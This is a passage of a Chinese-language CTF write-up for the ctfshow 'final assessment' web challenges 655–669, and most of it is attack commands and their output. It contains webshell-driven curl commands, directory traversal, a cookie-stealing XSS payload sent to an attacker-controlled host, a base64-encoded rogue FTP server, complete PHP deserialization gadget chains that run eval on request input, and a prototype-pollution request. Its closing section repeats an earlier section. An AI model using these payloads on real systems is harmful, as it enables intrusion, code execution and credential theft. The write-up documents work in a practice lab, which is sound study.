    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.117/0.117/0.117 ms
    PING 172.2.62.5 (172.2.62.5): 56 data bytes
    64 bytes from 172.2.62.5: seq=0 ttl=64 time=0.087 ms
    
    --- 172.2.62.5 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.087/0.087/0.087 ms
    PING 172.2.62.6 (172.2.62.6): 56 data bytes
    64 bytes from 172.2.62.6: seq=0 ttl=64 time=0.103 ms
    
    --- 172.2.62.6 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.103/0.103/0.103 ms
    PING 172.2.62.7 (172.2.62.7): 56 data bytes
    64 bytes from 172.2.62.7: seq=0 ttl=64 time=0.131 ms
    
    --- 172.2.62.7 ping statistics ---
    2 packets transmitted, 1 packets received, 50% packet loss
    round-trip min/avg/max = 0.131/0.131/0.131 ms
    PING 172.2.62.8 (172.2.62.8): 56 data bytes
    
1=echo `curl http://172.2.62.5/`;
{"code":0,"message":"\u6570\u636e\u83b7\u53d6\u5931\u8d25"}

1=echo `curl http://172.2.62.5/?action=index`;
管理员请注意,下面是最近登陆失败用户:<br>
1=echo `curl http://172.2.62.5/?action=login`;
账号或密码错误

robots.txt
disallowed /public/
phpinfo.php 655 flag_655=ctfshow{aada21bce99ddeab20020ac714686303}
www.zip

/public/
Index of /public/
Readme.txt
恭喜师傅来到第二关!

第二关相比第一关,依旧是没有难度。

glhf!

ctshow 大菜鸡
public../
<a href="../">../</a>
<a href="FLAG/">FLAG/</a>                                              07-Aug-2021 19:51                   -
<a href="bin/">bin/</a>                                               07-Aug-2021 19:51                   -
<a href="dev/">dev/</a>                                               29-Nov-2021 04:11                   -
<a href="etc/">etc/</a>                                               29-Nov-2021 04:11                   -
<a href="home/">home/</a>                                              07-Aug-2021 19:51                   -
<a href="lib/">lib/</a>                                               22-Sep-2020 08:25                   -
<a href="media/">media/</a>                                             29-May-2020 14:20                   -
<a href="mnt/">mnt/</a>                                               29-May-2020 14:20                   -
<a href="opt/">opt/</a>                                               29-May-2020 14:20                   -
<a href="proc/">proc/</a>                                              29-Nov-2021 04:11                   -
<a href="public/">public/</a>                                            07-Aug-2021 19:51                   -
<a href="root/">root/</a>                                              07-Aug-2021 19:51                   -
<a href="run/">run/</a>                                               07-Aug-2021 19:51                   -
<a href="sbin/">sbin/</a>                                              22-Sep-2020 08:25                   -
<a href="srv/">srv/</a>                                               29-May-2020 14:20                   -
<a href="sys/">sys/</a>                                               29-Nov-2021 04:11                   -
<a href="tmp/">tmp/</a>                                               29-Nov-2021 04:38                   -
<a href="usr/">usr/</a>                                               07-Aug-2021 19:51                   -
<a href="var/">var/</a>                                               07-Aug-2021 19:51                   -
<a href="FLAG665">FLAG665</a>                                            07-Aug-2021 19:51                  51
<a href="getflag">getflag</a>                                            07-Aug-2021 19:51               19912

目录穿越,直接好多flag

index.php

<?php


include 'dbutil.php';
include 'flag.php';

error_reporting(0);
session_start();


$a=$_GET['action'];

switch ($a){
    case 'login':
    	$ret = login($_GET['u'],$_GET['p']);
        break;
    case 'index':
    	$ret = index();
        break;
    case 'main':
    	$ret = main($_GET['m']);
    	break;
    default:
         $ret = json_encode(array(
		'code'=>0,
		'message'=>'数据获取失败',
		));
		break;
}


echo $ret;


function index(){
    $html='管理员请注意,下面是最近登陆失败用户:<br>';
    $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3');
    foreach ($ret as $r) {
    	$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
    	.$r[1]
    	.'<br>登陆失败IP: '
    	.$r[2].
    	'<br>------------<br>';
    }
    return $html;
    
}

function login($u,$p){
	$ret = array(
	'code'=>0,
	'message'=>'数据获取失败',
	);
	$u = addslashes($u);
	$p = addslashes($p);
	$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
	$date = new DateTime('now');
	$now = $date->format('Y-m-d H:i:s');
	$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
	

	if(count($res)==0){
 		 db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
		 $ret['message']='账号或密码错误';
		 return json_encode($ret);
	}

	if(!auth()){
		$ret['message']='AuthKey 错误';
	}else{
		$ret['message']='登陆成功';
		$_SESSION['login']=true;
		$_SESSION['flag_660']=$_GET['flag'];
	}

	return json_encode($ret);


}

function auth(){
	$auth = base64_decode($_COOKIE['auth']);
	return $auth==AUTH_KEY;
}

function getFlag(){
	return  FLAG_657;
}

function testFile($f){
	$result = '';
	$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
	if(file_exists($file)){
		$result = FLAG_658;
	}
	return $result;

}


function main($m){
	$ret = array(
	'code'=>0,
	'message'=>'数据获取失败',
	);
	if($_SESSION['login']==true){
		
		switch ($m) {
			case 'getFlag':
				$ret['message']=getFlag();
				break;
			case 'testFile':
				$ret['message']=testFile($_GET['f']);
				break;
			default:
				# code...
				break;
		}
		

	}else{
		$ret['message']='请先登陆';
	}

	return json_encode($ret);
}
1=echo `curl http://172.2.62.5:8888`;
OA 系统 yii

1=echo `curl http://172.2.62.5:8888/index.php?r=site%2Funserialize`;
1=echo shell_exec('curl "http://172.2.6.5:8888/index.php?r=site%2Funserialize" -d "UnserializeForm[ctfshowUnserializeData]=xxx"');
随便找条链子打,报错了 Yi Framework/2.0.43-dev
/var/oa/controllers/SiteController.php
需要663 flag

image-20211128150800330

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn;


events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    log_format  main  '[$time_local]:$remote_addr-$request-$status';
    access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main;
    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /public {
            autoindex on;
            alias /public/;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }

    server {
        listen       8888;
        server_name  oa;
        root         /var/oa/web;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /{
            index index.php;
            autoindex off;

        }

       location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }
    }
}

flag_655=ctfshow{aada21bce99ddeab20020ac714686303}

0x10 web656

看到管理员就想到要注入或者xss了,没拿到源码前都试了失败了,拿了源码就在想怎么打xss,不出网啊

打了半天的xss,意识到拿下的机子可以当vps用啊

image-20211128194458301

flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}
cat /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log

1=echo shell_exec('curl "http://172.2.200.5:80/index.php?action=login" -H "X-Forwarded-For: <script>window.location.href=\"http://172.2.200.4:80/\"%2bdocument.cookie</script>"');

0x11 web657

代码审计

image-20211128195106088

1=echo shell_exec('curl "http://172.2.200.5:80/index.php?action=main%26m=getFlag" -H "Cookie: PHPSESSID=kufsnm7lre4s80k7h9mub25tlv;%20auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0="');

flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}

0x12 web658

绕过

<?php
$f = $_GET['f'];
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
    phpinfo();
}
else{
    var_dump($file);
}
// ftp phar
?>

坑:编码

1=echo `python3 -c "
import os
print(os.system('echo aW1wb3J0IHNvY2tldA0KZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVucXVvdGUNCg0KcGF5bG9hZCA9IHVucXVvdGUoInNjeWxhbWIiKQ0KcGF5bG9hZCA9IHBheWxvYWQuZW5jb2RlKCd1dGYtOCcpDQoNCmhvc3QgPSAnMC4wLjAuMCcNCnBvcnQgPSAyMw0Kc2sgPSBzb2NrZXQuc29ja2V0KCkNCnNrLmJpbmQoKGhvc3QsIHBvcnQpKQ0Kc2subGlzdGVuKDUpDQoNCnNrMiA9IHNvY2tldC5zb2NrZXQoKQ0Kc2syLmJpbmQoKGhvc3QsIDEyMzQpKQ0Kc2syLmxpc3RlbigpDQoNCg0KY291bnQgPSAxDQp3aGlsZSAxOg0KICAgIGNvbm4sIGFkZHJlc3MgPSBzay5hY2NlcHQoKQ0KICAgIGNvbm4uc2VuZChiIjIwMCBcbiIpDQogICAgcHJpbnQoY29ubi5yZWN2KDIwKSkgDQogICAgaWYgY291bnQgPT0gMToNCiAgICAgICAgY29ubi5zZW5kKGIiMjIwIHJlYWR5XG4iKQ0KDQogICAgcHJpbnQoY29ubi5yZWN2KDIwKSkgIA0KICAgIGlmIGNvdW50ID09IDE6DQogICAgICAgIGNvbm4uc2VuZChiIjIxNSBcbiIpDQoNCiAgICBwcmludChjb25uLnJlY3YoMjApKSANCiAgICBpZiBjb3VudCA9PSAxOg0KICAgICAgICBjb25uLnNlbmQoYiIyMTMgMyBcbiIpICANCg0KICAgIHByaW50KGNvbm4ucmVjdigyMCkpIA0KICAgIGNvbm4uc2VuZChiIjIwMCBcbiIpDQoNCiAgICBwcmludChjb25uLnJlY3YoMjApKSAgIA0KICAgIGlmIGNvdW50ID09IDE6DQogICAgICAgIGNvbm4uc2VuZChiIjIyNyAxMjcsMCwwLDEsNCwyMTBcbiIpDQoNCiAgICBwcmludChjb25uLnJlY3YoMjApKQ0KICAgIGlmIGNvdW50ID09IDE6DQogICAgICAgIGNvbm4uc2VuZChiIjEyNSBcbiIpIA0KICAgICAgICBwcmludCgiRXN0YWJsaXNoIGNvbm5lY3Rpb24hIikNCg0KICAgIGlmIGNvdW50ID09IDE6DQogICAgICAgIGNvbm4uc2VuZChiIjIyNiBcbiIpDQogICAgY29ubi5jbG9zZSgpDQogICAgZXhpdCgxKQ%3d%3d|base64 -d>/tmp/1.py'))
sudoselect sys_eval('sudo python3 /tmp/1.py');
后来发现不需要root权限,本地调试则需要权限
1=echo shell_exec('curl "http://172.2.217.5:80/index.php?action=main%26m=testFile%26f=ftp://aaa@172.2.217.4:23/" -H "Cookie: PHPSESSID=7od23im7f1tadc3qlmvmrn5bnv;%20auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0="');
flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}

0x13 web659

1=echo shell_exec('curl "http://172.2.217.5:80/public../FLAG/flag659.txt" -H "Cookie: PHPSESSID=7od23im7f1tadc3qlmvmrn5bnv;%20auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0="');
flag_659=ctfshow{73c4213829f8b393b2082bacb4253cab}

0x14 web660

1=echo shell_exec('curl "http://172.2.217.5:80/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log" -H "Cookie: PHPSESSID=7od23im7f1tadc3qlmvmrn5bnv;%20auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0="');
flag=flag_660_ctfshow{23e56d95b430de80c7b5806f49a14a2b}
/index.php?action=login&u=admin&p=nE7jA5m&flag=flag_660_ctfshow{23e56d95b430de80c7b5806f49a14a2b}

0x15 web661

1=echo shell_exec('curl "http://172.2.217.5:80/public../home/flag/secret.txt"');
flag_661=ctfshow{d41c308e12fdecf7782eeb7c20f45352}

0x16 web662

爆破663时出来??? 7bc.html

flag_662=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}

看群说题目序号错了,那663在哪?

1=echo shell_exec('curl "http://172.2.217.5:80/public../home/www-data/creater.sh"');
#!/bin/sh

file=`echo $RANDOM|md5sum|cut -c 1-3`.html
echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file
1=echo `nohup python3 -c "
import os


def myhtml():
    for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
        for j in 'abcdefghijklmnopqrstuvwxyz0123456789':
            for k in 'abcdefghijklmnopqrstuvwxyz0123456789':
                poc ='curl "http://172.2.128.5:80/{}{}{}.html"'.format(i,j,k)
                result = os.system(poc)
                print(poc)
                if result != 0:
                    print(result)
                    print(poc)
                    save_f(result)

def save_f(result):
	f=open('/tmp/1.txt','a')
	f.write(result)
	f.close()

myhtml()
print(os.system('cat /tmp/1.txt'))
"%26`;


print(os.system('echo test>/tmp/1.txt'))
print(os.system('chmod 777 /tmp/1.txt'))

0x17 web663

找了好久,觉得还是有东西没有发现,直接写个脚本爬所有文件

import requests
import re
import os

root = './scylamb/'
url = "http://0354659f-2cf3-4fda-9ac3-277f1ee2ab2c.challenge.ctf.show/1.php"
data = "1=echo shell_exec('curl \"http://172.2.211.5:80/public../{}\"');"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

re_1 = r"<a href=\"(.*\/*)\">"

def get_dir(dir_list,dir_local,last_dir):
    print("last_dir:" + last_dir)
    print(dir_list)
    for dir in dir_list:
        if dir == '../':
            continue
        elif dir == 'proc/':    # proc 太长了
            continue
        elif dir =="sys/block/loop0/bdi/subsystem/":
            continue
        elif dir.endswith('/'):
            dir_list_temp = []
            result = requests.post(url=url, data=data.format(last_dir+dir),headers=headers)
            isExists=os.path.exists(dir_local + dir)
            if not isExists:
                os.makedirs(dir_local + dir)
            dir_list_temp = re.findall(re_1,result.text)
            if dir_list_temp == []:
                continue
            elif "FLAG665" in dir_list_temp and last_dir!='':
                continue
            else:
                get_dir(dir_list_temp,dir_local+dir,last_dir+dir)
        else:
            result = requests.post(url=url, data=data.format(last_dir+dir),headers=headers)
            save_file(dir_local + dir,result.text)

def save_file(dir_local, content):
    try:
        with open(dir_local,'w') as f:
            f.write(content)
    except:
        with open(dir_local,'w',encoding="utf8") as f:
            f.write(content)

if __name__ == "__main__":
    result = requests.post(url=url, data=data.format(''),headers=headers,proxies={'http':'http://127.0.0.1:8080'})
    # print(result.text)
    dir_list = re.findall(re_1,result.text)
    print(dir_list)
    # ['../', 'FLAG/', 'bin/', 'dev/', 'etc/', 'home/', 'lib/', 'media/', 'mnt/', 'opt/', 'proc/', 'public/', 'root/', 'run/', 'sbin/', 'srv/', 'sys/', 'tmp/', 'usr/', 'var/', 'FLAG665', 'getflag']
    # get_dir(dir_list,root,'')
    get_dir(['etc/'],root,'')

突然想到ctfshow

找到了

usr\local\lib\php\extensions\no-debug-non-zts-20180731\ctfshow.so

(img-Dywl9rKS-1641386448580)]

flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}

回想一下,应该在phpinfo里发现才是预期解,不然给phpinfo干什么…

0x18 web664

打了半天都是返回序列化字符串,自闭了,去看看日志才发现flag在传输时少了括号,得用反斜杠转义一下…

1=echo shell_exec('curl "http://172.2.83.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A39%253A%2522Prophecy%255CArgument%255CToken%255CExactValueToken%2522%253A3%253A%257Bs%253A46%253A%2522%2500Prophecy%255CArgument%255CToken%255CExactValueToken%2500value%2522%253Bs%253A7%253A%2522ctfshow%2522%253Bs%253A47%253A%2522%2500Prophecy%255CArgument%255CToken%255CExactValueToken%2500string%2522%253BN%253Bs%253A45%253A%2522%2500Prophecy%255CArgument%255CToken%255CExactValueToken%2500util%2522%253BO%253A20%253A%2522Faker%255CValidGenerator%2522%253A3%253A%257Bs%253A12%253A%2522%2500%252A%2500generator%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A22%253A%2522curl+http://172.2.83.4%2522%253B%257Ds%253A12%253A%2522%2500%252A%2500validator%2522%253Bs%253A10%253A%2522shell_exec%2522%253Bs%253A13%253A%2522%2500%252A%2500maxRetries%2522%253Bi%253A1%253B%257D%257D%257D%257Ds%253A40%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A7%253A%2522ctfshow%2522%253B%257D%257D"');

返回此链不通

不通记录 VaildGenerator UniqueGenerator

O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A1%3A%7Bs%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%221%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A4%3A%22exit%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A99999999%3B%7D%7D%7D

O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A1%3A%7Bs%3A9%3A%22processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A21%3A%22Faker%5CUniqueGenerator%22%3A2%3A%7Bs%3A9%3A%22generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A7%3A%22default%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A5%3A%22value%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22yii%5Crest%5CIndexAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A6%3A%22whoami%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7Ds%3A10%3A%22maxRetries%22%3Bi%3A99999999%3B%7D%7D%7D

highlight_file(’/var/oa/flag664.php’);die();

1=echo shell_exec('curl "http://172.2.220.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A212%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A57%253A%2522function%2528%2529%257B%255Chighlight_file%2528%2527%252Fvar%252Foa%252Fflag664.php%2527%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000002ae55f4e00000000747d2f8c%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D"');
flag_664=ctfshow{35802d184dba134bdc8d0d23e09051f7}
1=echo shell_exec('curl "http://172.2.220.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A192%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A37%253A%2522function%2528%2529%257Beval%2528%2524_REQUEST%255B2%255D%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000006cfe4a45000000005bbc4366%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D%262='.$_REQUEST[22].'%253b"');&22=phpinfo()

0x19 web665

1=echo shell_exec('curl "http://172.2.217.5:80/public../FLAG665" -H "Cookie: PHPSESSID=7od23im7f1tadc3qlmvmrn5bnv;%20auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0="');
flag_665=ctfshow{35802d184dba134bdc8d0d23e09051f7}

0x1a web666

(img-1liVHaGq-1641386448581)]

function query($sql){
    $host='localhost';
    $username='root';
    $password='root';
    $database='ctfshow';
    
    $ret = array();
    
    $conn = new mysqli($host, $username, $password, $database);
    
    if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
    }
    
    $res = $conn->query($sql);
    if($res){
        while ($row = $res->fetch_array(MYSQLI_NUM)) {
            array_push($ret,$row);
        }
        $res->close();
    }
    else{
    echo $conn->error;
    }
    
    $conn->close();
    return $ret;
}

$ret=query("Select group_concat(secret) from ctfshow.ctfshow_secret");
var_dump($ret);
flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}

disable_function/open_basedir绕不过去,拿到php代码执行能干什么呢,想一想看看数据库,真有

0x1b web667

用户目录下有node,扫下端口

1=echo shell_exec('curl "http://172.2.204.5:3000/"');

nodejs

<!DOCTYPE html><html><head><title></title><link rel="stylesheet" href="/stylesheets/style.css"><script rel="javascript" href="/javascripts/jquery.js"></script></head><body><h1>Not Found</h1><h2>404</h2><pre>NotFoundError: Not Found
    at /home/node/app.js:45:8
    at Layer.handle [as handle_request] (/home/node/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/home/node/node_modules/express/lib/router/index.js:317:13)
    at /home/node/node_modules/express/lib/router/index.js:284:7
    at Function.process_params (/home/node/node_modules/express/lib/router/index.js:335:12)
    at next (/home/node/node_modules/express/lib/router/index.js:275:10)
    at /home/node/node_modules/express/lib/router/index.js:635:15
    at next (/home/node/node_modules/express/lib/router/index.js:260:14)
    at Function.handle (/home/node/node_modules/express/lib/router/index.js:174:3)
    at router (/home/node/node_modules/express/lib/router/index.js:47:12)</pre></body></html>
flag给你flag_667=ctfshow{503a075560764e3d116436ab73d7a560}

0x1c web668

/login

utils.copy(user.userinfo,req.body);
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
	``
1=echo shell_exec('curl "http://172.2.87.5:3000/login" -X POST -H "Content-Type: application/json" -d \'{"username":"%2527","__proto__": {"username": "36dboy"}}\'');
flag_668=ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}

secret.txt

0x1d web669

…省略一堆弯路

期间搞了我之前没做的事,获取交互式shell,我比较菜,用脚本小子的方法:第一台机的root下修改php.ini,将disable删了,然后蚁剑连上去上传冰蝎的马,写个软连接将Python3链接到Python,然后就能直接进行虚拟终端了…

看了半天,就觉得/getflag可疑,明明可以直接读flag。但不会利用,还叫pwn爷去反编译看源码,pwn爷还去群里问,群里说是群主的bug…

好坑,放下来做其他事,几天后,pwn爷说getflag可以提权,我一百度…环境变量提权…,一种植物…

直接打成功…

该写感言了,写啥呢…借鉴下各位师傅的

  太菜了,提权误我...应该花了断断续续一个月时间吧,第一台还好,简单的知识点,细心的就能过;第二台机是在备考操作系统无聊时写的,拿flag太上头了,一直在担心挂科,然后一直在提权卡住...最后队里的pwn爷帮助下才提的权...
  做完了终极考核,可“说是终极,可ctf哪有终极?”,愿你我在终极考核名单上见,愿你我能一直保持着热爱...
  宁静致远

群主的wp,我感觉有点小错,还有最后的提权我没看懂,我记得sh文件是无权限改的

CTFshow web入门 终极考核 (shimo.im)
express/lib/router/index.js:317:13)
at /home/node/node_modules/express/lib/router/index.js:284:7
at Function.process_params (/home/node/node_modules/express/lib/router/index.js:335:12)
at next (/home/node/node_modules/express/lib/router/index.js:275:10)
at /home/node/node_modules/express/lib/router/index.js:635:15
at next (/home/node/node_modules/express/lib/router/index.js:260:14)
at Function.handle (/home/node/node_modules/express/lib/router/index.js:174:3)
at router (/home/node/node_modules/express/lib/router/index.js:47:12)


flag给你flag_667=ctfshow{503a075560764e3d116436ab73d7a560}




## 0x1c web668

/login

utils.copy(user.userinfo,req.body);




function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
``




1=echo shell_exec(‘curl “http://172.2.87.5:3000/login” -X POST -H “Content-Type: application/json” -d ‘{“username”:"%2527",“proto”: {“username”: “36dboy”}}’’);




flag_668=ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}


secret.txt

## 0x1d web669

.....省略一堆弯路

> 期间搞了我之前没做的事,获取交互式shell,我比较菜,用脚本小子的方法:第一台机的root下修改php.ini,将disable删了,然后蚁剑连上去上传冰蝎的马,写个软连接将Python3链接到Python,然后就能直接进行虚拟终端了...

看了半天,就觉得/getflag可疑,明明可以直接读flag。但不会利用,还叫pwn爷去反编译看源码,pwn爷还去群里问,群里说是群主的bug....

